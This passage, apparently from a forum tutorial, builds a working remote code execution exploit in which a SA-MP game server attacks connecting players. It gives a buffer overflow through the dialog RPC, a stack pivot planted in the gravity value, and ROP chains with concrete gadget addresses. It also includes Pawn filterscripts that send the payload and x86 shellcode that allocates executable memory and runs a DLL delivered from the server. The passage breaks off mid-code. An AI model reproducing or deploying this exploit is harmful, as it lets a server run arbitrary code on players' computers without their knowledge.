And now about more pressing problems. So, at this step we can go beyond the boundaries of the buffer on the stack, overwrite the return address, thereby we can jump to any known static address and nothing more. We cannot yet write down our code, much less call it. But we can call code that already exists in the game! Or rather, only the fragments we need. This technique is called ROP, i.e. Return-Oriented Programming. For example, we have the following instructions at address 0x00555550: pop ecx; ret; and at address 0x00444440 there is pop edi; ret; Taking advantage of our buffer overflow, we write the following onto the stack:<br />
0x00555550, 0x00000011, 0x00444440, 0x00000022<br />
This is what will happen:<br />
1) When the ret instruction is executed in our CDialog::GetTextScreenLength, an execution will go to address 0x00555550, the esp register will point to the value 0x00000011<br />
2) At address 0x00555550 the pop ecx instruction will be executed, i.e. the value will be taken from the stack and assigned to the ecx register. What do we have there at the top of the stack? That's right, 0x00000011, which means this value will be written to the ecx register, and the esp register will be shifted lower to the value 0x00444440<br />
3) Next the ret instruction will be executed. There will be a jump to address 0x00444440, the esp register will point to 0x00000022<br />
4) At address 0x00444440 the pop edi instruction will be executed, the edi register will be assigned the value 0x00000022<br />
etc.<br />
Thus, with the help of such chains, called rop chains, we can manipulate registers, as well as call other commands we need, in particular, copying data from one memory area to another. The called code fragments themselves are named gadgets, and the main difficulty here is to find suitable gadgets among the entire game code. Tools such as radare2, ROPgadget and others have been created specifically for searching for gadgets, but we will not consider them in this article.<br />
But we have another problem that does not allow us to write zeros to the string, and for rop chains we need them. To solve this (and not only) problem, a technique called stack pivoting is used, which consists in changing the value of esp. Alternatively, we can place our rop chains in a more suitable place, and then replace the esp with this most "suitable place". Question: how to replace esp? Answer: still the same, using a gadget. In total, finding a suitable place for rop chains and finding a suitable gadget for stack pivoting can be the most difficult task, perhaps even without a solution, and, as a consequence, without the ability to implement a vulnerability, but we have a unique case here.<br />
In addition to the dialog text itself, the caption string and the left and right button strings are also sent in RPC. If you inspect the code of the RPC_ShowDialog handler, you will notice that a specified number of bytes are read from the bitstream into a local buffer. The length is limited to 256 characters, and there is no restrctions by the presence of null characters. Great, you can use one of these three buffers, I'll take caption. Now the question is - how to get to it on the stack? The ebp register will help us with this. From the entire chain of calls RPC_ShowDialog -&gt; CDialog::Open -&gt; CDialog::PrepareListbox -&gt; CDialog::GetTextScreenLength saving esp in ebp occurs in CDialog::PrepareListbox, i.e. ebp stores the value of esp from CDialog::Open at the time CDialog::PrepareListbox is called. IDA can give us a little hint about where the caption pointer is relative to esp in CDialog::Open:<br />
<img src="https://i.imgur.com/l0i9rME.jpeg" loading="lazy"  alt="[Image: l0i9rME.jpeg]" class="mycode_img" /><br />
But don't relax. During its exectuion, CDialog::Open saves the values of one of the registers (+1) on the stack, pushes 2 arguments to CDialog::PrepareListbox (+2), calls it (+1), and CDialog::PrepareListbox itself saves the ebp register onto the stack (+1). Thus, saved esp is also shifted up by 5 positions, which means that we need to add 5 times 4 to 0x28, i.e. 0x14. We get 0x3C.<br />
You can calculate it another way by turning on in IDA the display of the stack pointer in the listing:<br />
<img src="https://i.imgur.com/lZxulKW.jpeg" loading="lazy"  alt="[Image: lZxulKW.jpeg]" class="mycode_img" /><br />
Add to it a shift at call (+0x4), push ebp in the called function (another +0x4), and add a shift to the caption itself:<br />
<img src="https://i.imgur.com/kQb6E7m.jpeg" loading="lazy"  alt="[Image: kQb6E7m.jpeg]" class="mycode_img" /><br />
0x28+0x4+0x4+0xC=0x3C.<br />
But in general, I would not recommend counting this way, because it is easy to make mistakes and miss something here. It is much better to calculate the offset empirically: take a debugger, set a breakpoint, send a dialog with some text to the caption, when the breakpoint is triggered, scroll through the stack window and find there the pointer to the caption using the previously specified text, calculate the difference between it and the ebp value.<br />
So, to set esp to the caption buffer, we need:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>mov esp, dword ptr [ebp+0x3c]</code></div></div>And then execute ret to go to the address of the gadget, which will already be set at the beginning of the caption. But we won't be able to find such a 1-in-1 gadget, because compilers do not generate such code, and finding an alternative sequences of several gadgets can be quite problematic. But why find it when we can record such a gadget ourselves? It's time for our gravity!<br />
To convert assembly code into machine codes, I will use <a href="https://defuse.ca/online-x86-assembler.htm" target="_blank" rel="noopener" class="mycode_url">this website</a>. We get the following code:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0:  8b 65 3c                mov    esp,DWORD PTR [ebp+0x3c]<br />
3:  c3                      ret</code></div></div>This means that we can set the gravity value to 0xC33C658B, then call the overflow dialog to the address of the gravity variable, and the top of the stack will move to the caption! But don't rush. Looking into memory at the address of the gravity variable, namely 0x00863984, you can see that the next value is 0xC3, and our last instruction is also 0xC3. At the same time, if you represent 0xC33C658B as a float, you get the value -188.396652222, which can have a rather negative effect on the game, because the default value is non-negative and equal to 0.008, anomalies may appear and the game may freeze altogether, so we can juggle a little with the instructions so that the value turns out to be close to 0.008. The best combination would be:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0:  90                      nop<br />
1:  8b 65 3c                mov    esp,DWORD PTR [ebp+0x3c]</code></div></div>So we'll get 0x3C658B90, which in float representation will be 0.0140103250742, and it is not even very different from the original. But in any case, we will restore the original value in the end.<br />
Well, let's update our filterscript, namely:<br />
1. Write the address of gravity in the overflowing text buffer, where we have a gadget with stack pivoting.<br />
2. Instead of text, write an arbitrary address in the caption (in the future we will have rop chains there).<br />
3. Let's write a function to set gravity for the player using Pawn.RakNet. We will also implement sending gravity and dialog RPCs in a separate ordering channel with the RELIABLE_ORDERED reliability, so that the RPCs will be received strictly in the order they were sent, and set a low priority (this will be useful in the future).<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#define FILTERSCRIPT<br />
#include &lt;a_samp&gt;<br />
#include &lt;Pawn.RakNet&gt;<br />
<br />
new const RPC_ShowDialog = 61;<br />
new const RPC_ScrSetGravity = 146;<br />
<br />
new payload1[] =<br />
{<br />
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15<br />
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00<br />
};<br />
<br />
new payload2[] =<br />
{<br />
    0x66, 0x77, 0x88, 0x99<br />
};<br />
<br />
<br />
new BitStream:payload_bs;<br />
<br />
public OnFilterScriptInit()<br />
{<br />
payload_bs = BS_New();<br />
    BS_WriteUint16(payload_bs, 1); // dialog id<br />
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style<br />
BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length<br />
for(new i = 0; i &lt; sizeof(payload2); i++) // caption<br />
{<br />
BS_WriteUint8(payload_bs, payload2[i]);<br />
}<br />
BS_WriteString8(payload_bs, "left button"); // left button<br />
BS_WriteString8(payload_bs, "right button"); // right button<br />
BS_WriteCompressedString(payload_bs, payload1); // text<br />
}<br />
<br />
public OnFilterScriptExit()<br />
{<br />
BS_Delete(payload_bs);<br />
}<br />
<br />
public OnPlayerCommandText(playerid, cmdtext[])<br />
{<br />
if(!strcmp("/aasd1", cmdtext, true))<br />
{<br />
PerformRCE(playerid);<br />
return 1;<br />
}<br />
return 0;<br />
}<br />
<br />
PerformRCE(playerid)<br />
{<br />
    SetPlayerGravity(playerid, Float:0x3C658B90);<br />
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
    SetPlayerGravity(playerid, 0.008);<br />
}<br />
<br />
SetPlayerGravity(playerid, Float:gravity)<br />
{<br />
new BitStream:bs = BS_New();<br />
BS_WriteFloat(bs, gravity);<br />
PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
BS_Delete(bs);<br />
}</code></div></div>We compile, load, join the server, enter the command, we get a crash at address 0x99887766, as we specified.<br />
<img src="https://i.imgur.com/anC5BLQ.jpeg" loading="lazy"  alt="[Image: anC5BLQ.jpeg]" class="mycode_img" /><br />
Great! The hardest part is over, now we can move on to the stage of making rop chains and the primary shell.<br />
<br />
<span style="font-size: large;" class="mycode_size">Stage 3. Development</span><br />
<br />
Now we are faced with 2 tasks. First, we need to find a sequence of gadgets that will copy the shellcode from the stack into the executable memory. The second is to actually code this shellcode, we will place it next to the gadgets in the caption. We need to remember that we are limited to 256 bytes, and the shellcode should help us execute larger code than a couple hundred bytes.<br />
Rep movsb/movsw/movsd instructions are used to copy memory locations. The address where to copy is placed in the edi register, where to copy from - in the esi register, and the number of iterations - in the ecx register. This means we need to find about 4 gadgets. Let's start by finding a gadget to copy. Having looked through all such instructions in the game code, I found one that turned out to be very interesting:<br />
<img src="https://i.imgur.com/7JXAtbV.jpeg" loading="lazy"  alt="[Image: 7JXAtbV.jpeg]" class="mycode_img" /><br />
Here we have very conveniently setup of the esi register, and the address from the stack is loaded there. Just what we need, and one less gadget to setup esi.<br />
Let's start writing our rop chain. Let's set the return address to the lea instruction:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0x005B2EE6</code></div></div>After performing a copy in the gadget, the values in edi and esi are taken from the stack. We don't need them, so we'll just fill zeros to make the stack correct:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0x005B2EE6 // rep movsd gadget<br />
0x00000000 // edi value<br />
0x00000000 // esi value</code></div></div>Then, we need to specify the address for the next jump. Because at this point our shellcode will be copied, we will jump theme. At the last stage, we determined that we would copy our shellcode to address 0x00866000. We will specify it:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0x005B2EE6 // rep movsd gadget<br />
0x00000000 // edi value<br />
0x00000000 // esi value<br />
0x00866000 // ret to dst</code></div></div>Now we need to calculate where to place the shellcode. Because the instruction look like this:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>lea esi, [esp+0x10]</code></div></div>then this means:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>(esp-0x04) 0x005B2EE6 // rep movsd gadget<br />
(esp+0x00) 0x00000000 // edi value<br />
(esp+0x04) 0x00000000 // esi value<br />
(esp+0x08) 0x00866000 // ret to dst<br />
(esp+0x0C) ...<br />
(esp+0x10) ...</code></div></div>This means that after the last return address we need to skip one position. Let's put zeros there too. As a result, our rop chain at now will look like this:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0x005B2EE6 // rep movsd gadget<br />
0x00000000 // edi value<br />
0x00000000 // esi value<br />
0x00866000 // ret to dst<br />
0x00000000 // pad<br />
(shellcode here)</code></div></div>Now we need to find a gadget to set the value in edi. Everything is simple here, we need to find the sequence of pop edi; ret commands. In binary form it will be 0x5F, 0xC3, so we'll just find this sequence of bytes in the game code. It was found at address 0x00402E8D. This means our rop chain will now look like this:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0x00402E8D // pop edi gadget<br />
0x00866000 // edi value<br />
0x005B2EE6 // rep movsd gadget<br />
0x00000000 // edi value<br />
0x00000000 // esi value<br />
0x00866000 // ret to dst<br />
0x00000000 // pad<br />
(shellcode here)</code></div></div>And finally, the last thing: we need to find a gadget to set the value in ecx. Similarly, we look for pop ecx; ret and find it at 0x00402715. But we need to calculate exactly how many bytes to copy. Let's get a look:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0x00402715 // pop ecx gadget<br />
0x000000?? // ecx value<br />
0x00402E8D // pop edi gadget<br />
0x00866000 // edi value<br />
0x005B2EE6 // rep movsd gadget<br />
0x00000000 // edi value<br />
0x00000000 // esi value<br />
0x00866000 // ret to dst<br />
0x00000000 // pad<br />
(shellcode here)</code></div></div>The maximum caption array can be 256 in length. Of these, 9 positions on the stack go to our rop chains, which is 36 bytes. Those our shellcode will start from the 37th byte and can go up to the 256th byte at most. Let's copy everything to the end, even if the final shellcode is smaller. This means we need to copy 256 minus 36 bytes, that is 220. It is important to say that movsd copies 4 bytes per iteration, which means we will have 55 iterations, that is 0x37:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0x00402715 // pop ecx gadget<br />
0x00000037 // ecx value<br />
0x00402E8D // pop edi gadget<br />
0x00866000 // edi value<br />
0x005B2EE6 // rep movsd gadget<br />
0x00000000 // edi value<br />
0x00000000 // esi value<br />
0x00866000 // ret to dst<br />
0x00000000 // pad<br />
(shellcode here)</code></div></div>Let's summarize what we have at this step. So, first we send the client a specific gravity value, which contains the code for stack pivoting. Then we overflow using the dialog, which is why when returning from the CDialog::GetTextScreenLength function, execution does not go back to CDialog::PrepareListbox, from where it was called, but to our stack pivoting code. There, the pointer to the stack is replaced, namely, it is installed on the caption buffer from RPC_ShowDialog, in which, using return manipulations, we copy our shellcode into executable memory and execute it.<br />
Our first task with rop chains is solved, let's move on to the second - writing this shellcode. And here we have two, so to speak, subtasks waiting for us. Firstly, after all these manipulations we have a "broken" stack, we must return it to the correct state and carry out the correct further execution of the program, as if nothing had happened. And secondly, download more large code and execute it.<br />
Let me remind you that we had the following chain of calls: RPC_ShowDialog -&gt; CDialog::Open -&gt; CDialog::PrepareListbox -&gt; CDialog::GetTextScreenLength. Instead of returning to CDialog::PrepareListbox, we proceeded to execute our shellcode. It would be logical to go back directly to CDialog::PrepareListbox, but, firstly, this is not necessary (since there is nothing important there that would require returning there), and secondly, for ease of implementation we will "mimic" under CDialog::PrepareListbox and at the end return exection to CDialog::Open.<br />
First, we need to set the stack pointer to where it should have been when returning from CDialog::GetTextScreenLength. The ebp register will help us with this again, only now we need to calculate the offset in the other direction. Let's look at the IDA Pro hints again:<br />
<img src="https://i.imgur.com/xb01r78.jpeg" loading="lazy"  alt="[Image: xb01r78.jpeg]" class="mycode_img" /><br />
At the moment after calling CDialog::GetTextScreenLength, the stack of CDialog::PrepareListbox is shifted to 0x12C, but since we will restore relative to ebp, and CDialog::PrepareListbox at the very beginning stores the previous value of ebp on the stack, thereby shifting the stack by 4 bytes, then we must subtract these 4 bytes from 0x12C and get 0x128. This means that the first instruction to restore the stack pointer in our shellcode will look like:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>lea esp, [ebp-0x128]</code></div></div>Next, we need to return back to CDialog::Open, so we'll simply copy the epilogue of the CDialog::PrepareListbox function into our shellcode:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>pop    edi<br />
pop    esi<br />
mov    eax, 1<br />
pop    ebx<br />
mov    esp, ebp<br />
pop    ebp<br />
retn    8</code></div></div>At this step, I propose to check the functionality of the shellcode, and for clarity, add a command to set the value of money for the player:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>mov dword ptr [0x00B7CE50], 1137</code></div></div>Our shellcode will look like:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>lea esp, [ebp-0x128]<br />
mov dword ptr [0x00B7CE50], 1137<br />
pop edi<br />
pop esi<br />
mov eax, 1<br />
pop ebx<br />
mov esp, ebp<br />
pop ebp<br />
ret 8</code></div></div>and in binary representation: 0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0xC7, 0x05, 0x50, 0xCE, 0xB7, 0x00, 0x71, 0x04, 0x00, 0x00, 0x5F, 0x5E, 0xB8, 0x01, 0x00, 0x00, 0x00 , 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00<br />
Let's update our filterscript:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#define FILTERSCRIPT<br />
#include &lt;a_samp&gt;<br />
#include &lt;Pawn.RakNet&gt;<br />
<br />
new const RPC_ShowDialog = 61;<br />
new const RPC_ScrSetGravity = 146;<br />
<br />
new payload1[] =<br />
{<br />
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15<br />
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00<br />
};<br />
<br />
new payload2[] =<br />
{<br />
0x15, 0x27, 0x40, 0x00, // pop ecx gadget<br />
0x37, 0x00, 0x00, 0x00, // ecx value<br />
0x8D, 0x2E, 0x40, 0x00, // pop edi gadget<br />
0x00, 0x60, 0x86, 0x00, // edi value<br />
0xE6, 0x2E, 0x5B, 0x00, // rep movsd gadget<br />
0x00, 0x00, 0x00, 0x00, // edi value<br />
0x00, 0x00, 0x00, 0x00, // esi value<br />
0x00, 0x60, 0x86, 0x00, // ret to dst<br />
0x00, 0x00, 0x00, 0x00, // pad<br />
<br />
0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0xC7, 0x05, 0x50, 0xCE, 0xB7, 0x00, 0x71, 0x04, 0x00, 0x00, 0x5F,<br />
0x5E, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00<br />
};<br />
<br />
<br />
new BitStream:payload_bs;<br />
<br />
public OnFilterScriptInit()<br />
{<br />
payload_bs = BS_New();<br />
    BS_WriteUint16(payload_bs, 1); // dialog id<br />
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style<br />
BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length<br />
for(new i = 0; i &lt; sizeof(payload2); i++) // caption<br />
{<br />
BS_WriteUint8(payload_bs, payload2[i]);<br />
}<br />
BS_WriteString8(payload_bs, "left button"); // left button<br />
BS_WriteString8(payload_bs, "right button"); // right button<br />
BS_WriteCompressedString(payload_bs, payload1); // text<br />
}<br />
<br />
public OnFilterScriptExit()<br />
{<br />
BS_Delete(payload_bs);<br />
}<br />
<br />
public OnPlayerCommandText(playerid, cmdtext[])<br />
{<br />
if(!strcmp("/aasd1", cmdtext, true))<br />
{<br />
PerformRCE(playerid);<br />
return 1;<br />
}<br />
return 0;<br />
}<br />
<br />
PerformRCE(playerid)<br />
{<br />
    SetPlayerGravity(playerid, Float:0x3C658B90);<br />
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
    SetPlayerGravity(playerid, 0.008);<br />
}<br />
<br />
SetPlayerGravity(playerid, Float:gravity)<br />
{<br />
new BitStream:bs = BS_New();<br />
BS_WriteFloat(bs, gravity);<br />
PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
BS_Delete(bs);<br />
}</code></div></div>Join into the game, enter the command, and get the result:<br />
<img src="https://i.imgur.com/mOmUC1O.jpeg" loading="lazy"  alt="[Image: mOmUC1O.jpeg]" class="mycode_img" /><br />
Everything is working! But an empty dialog remains open. Since SA-MP allows you to close any opened dialog by sending a dialog with a negative id. Let's use this. Here we will also not use the native function, but will write our own to send RPCs in a separate ordering channel:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>HidePlayerDialog(playerid)<br />
{<br />
new BitStream:bs = BS_New();<br />
    BS_WriteUint16(bs, -1); // id<br />
BS_WriteUint8(bs, DIALOG_STYLE_MSGBOX); // style<br />
BS_WriteString8(bs, " "); // caption<br />
BS_WriteString8(bs, ""); // left button<br />
BS_WriteString8(bs, ""); // right button<br />
BS_WriteCompressedString(bs, " "); // text<br />
PR_SendRPC(bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
BS_Delete(bs);<br />
}</code></div></div><br />
<span style="font-size: large;" class="mycode_size">Stage 4.</span><br />
<br />
Now we have to do something more serious. For example, download and run .exe or load .dll. Let's consider the option with dll. Traditionally, here we are faced with a number of problems that we have to solve. So, the WinAPI LoadLibrary function does not allow loading directly from memory, it can only load from a file. You can create a file from shellcode, place the content there, and then load it. But antiviruses and other protection systems may not like this behavior, and in general it will work unreliably and unstable, so let's put this option aside. There are ways to load a dll from memory, but it is very complex, the implementation of these methods also will not fit into the ~200 bytes available to us. You can compile the dll so that it does not use imports and places its code at a fixed address, and then take this code and place it in accessible memory areas of the game itself at the same addresses. This option has the right to exist and even works, but it is extremely inconvenient and limiting. Fortunately, other developers have also encountered this problem, and therefore there is already a ready-made solution called <a href="https://github.com/monoxgas/sRDI/" target="_blank" rel="noopener" class="mycode_url">sRDI</a>. Within this article, I will not go into details and principles of operation of this solution, I will only briefly say the important information necessary for us. This tool modifies the dll so that it loads itself, and it is enough to transfer execution to its first byte.<br />
This means that now we are faced with a very specific task: transfer the dll itself, allocate memory for it without write and execute protection, copy it there, call it. The main question here is how exactly to transfer kilobytes or even megabytes of potential dll from the server to the client. Yes, everything is as simple as possible, you can simply write it to the end of the RPC ShowDialog bitstream! Because compressed text is written at the end, it is necessary to byte-align the pointer to the write. Now the task has become even more specific and clear: in our shellcode we need to allocate memory, copy data from the bitstream there, and call. It would also be nice for our shellcode to determine what size our dll is and allocate the appropriate amount of memory. Well, let's get started.<br />
First we need to get to the bitstream. Remember, in the stack pivoting gadget we got to the pointer to the caption via ebp? This caption was in the RPC ShowDialog handler stackframe. The bitstream object is located there. Let's see:<br />
<img src="https://i.imgur.com/UD9MMBG.jpeg" loading="lazy"  alt="[Image: UD9MMBG.jpeg]" class="mycode_img" /><br />
Yes, it is located right before of this caption!<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>mov eax, [ebp+0x3c]<br />
sub eax, 0x118</code></div></div>Next, from the BitStream structure, we need the fields numberOfBitsUsed, readOffset and a pointer to the data named data. They located at the very beginning, at offsets +0x0, +0x8 and +0xC, respectively. We will convert readOffset and numberOfBitsUsed from bits to bytes and subtract the first from the second, thereby get the number of unread bytes. Because we write our dll to the end of the bitstream, and SA-MP reads only the structure for the dialog, then the number of unread bytes will be the size that we need to allocate for copying.<br />
You can see how the conversion from bits to bytes is performed in the RakNet sources:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#define BITS_TO_BYTES(x) (((x)+7)&gt;&gt;3)</code></div></div>We will do the same. Let's place the values numberOfBitsUsed, readOffset and data in the registers ecx, edx, esi, respectively, convert from bits to bytes, then subtract edx from ecx to get the size of the dll, and add edx to esi to get a pointer to the beginning of our dll, not the beginning of all data. Thus, part of our shellcode with bitstream will look like:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>;# get bitstream<br />
mov eax, [ebp+0x3c] ;# caption<br />
sub eax, 0x118      ;# bitstream<br />
mov ecx, [eax]      ;# numberOfBitsUsed<br />
mov edx, [eax+0x8]  ;# readOffset<br />
mov esi, [eax+0xC]  ;# data ptr<br />
add ecx, 7          ;# numberOfBitsUsed bits to bytes<br />
shr ecx, 3<br />
add edx, 7          ;# readOffset bits to bytes<br />
shr edx, 3<br />
sub ecx, edx        ;# numberOfBitsUsed - readOffset = dll size<br />
add esi, edx        ;# data ptr        + readOffset = dll ptr</code></div></div>Now we need to allocate memory. This is done using the <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc" target="_blank" rel="noopener" class="mycode_url">WinAPI VirtualAlloc</a> function, its address is in the game import table at 0x8581A4:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD flProtect)</code></div></div>According to the function documentation, we need to call this function with flAllocationType = MEM_COMMIT | MEM_RESERVE, flProtect = PAGE_EXECUTE_READWRITE. In dwSize we need to pass the size of the allocated memory area, in lpAddress we need to pass 0. After execution, the address of the allocated area will be placed in the eax register. It is also important to remember that when calling such functions, the values in the ebx, ecx, edx registers may be overwritten, so before the call, their values must be saved on the stack, and after the call, restored. In our case, we no longer need the eax (pointer to the bitstream) and edx (readOffset) registers, we don't use ebx, but we still need ecx, so we need to save it before calling VirtualAlloc. We will also put the value returned in eax into edi for later copying. Thus, our memory allocation part will look like:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>;# call VirtualAlloc<br />
push ecx                        ;# save ecx<br />
push 0x40                      ;# flProtect = PAGE_EXECUTE_READWRITE<br />
push 0x3000                    ;# flAllocationType = MEM_COMMIT | MEM_RESERVE<br />
push ecx                        ;# dwSize = dll size<br />
push 0                          ;# lpAddress = 0<br />
mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc<br />
call eax                        ;# call VirtualAlloc<br />
mov edi, eax<br />
pop ecx                        ;# restore ecx</code></div></div>After that, we have in edi the address of the allocated memory where we need to copy, in esi - where to copy from, ecx - how much to copy. So we can run the copy loop:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>rep movsb</code></div></div>And then transfer execution to the dll:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>call eax</code></div></div>Our complete shellcode will look like this:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>;# repair stack<br />
lea esp, [ebp-0x128]<br />
<br />
;# get bitstream<br />
mov eax, [ebp+0x3c]            ;# caption<br />
sub eax, 0x118                  ;# bitstream<br />
mov ecx, [eax]                  ;# numberOfBitsUsed<br />
mov edx, [eax+0x8]              ;# readOffset<br />
mov esi, [eax+0xC]              ;# data ptr<br />
add ecx, 7                      ;# numberOfBitsUsed bits to bytes<br />
shr ecx, 3          <br />
add edx, 7                      ;# readOffset bits to bytes<br />
shr edx, 3          <br />
sub ecx, edx                    ;# numberOfBitsUsed - readOffset = dll size<br />
add esi, edx                    ;# data ptr        + readOffset = dll ptr<br />
<br />
;# call VirtualAlloc<br />
push ecx                        ;# save ecx<br />
push 0x40                      ;# flProtect = PAGE_EXECUTE_READWRITE<br />
push 0x3000                    ;# flAllocationType = MEM_COMMIT | MEM_RESERVE<br />
push ecx                        ;# dwSize = dll size<br />
push 0                          ;# lpAddress = 0<br />
mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc<br />
call eax                        ;# call VirtualAlloc<br />
mov edi, eax<br />
pop ecx                        ;# restore ecx<br />
<br />
;# copy dll<br />
rep movsb<br />
<br />
;# execute dll<br />
call eax<br />
<br />
;# epilogue<br />
pop edi<br />
pop esi<br />
mov eax, 1<br />
pop ebx<br />
mov esp, ebp<br />
pop ebp<br />
ret 8</code></div></div>We fit into 77 bytes, excellent.<br />
To test the functionality, I suggest writing a simple asi mod, modifying it using sRDI, reading it from pawn and writing it to the bitstream. Let this be the same change in money, but from asi:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#include &lt;Windows.h&gt;<br />
<br />
VOID CALLBACK MainTimer(HWND hwnd, UINT message, UINT idTimer, DWORD dwTime)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;*(DWORD*)0x00B7CE50 = 1137;<br />
&nbsp;&nbsp;&nbsp;&nbsp;KillTimer(NULL, 0);<br />
}<br />
<br />
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReasonForCall, LPVOID lpReserved)<br />
{<br />
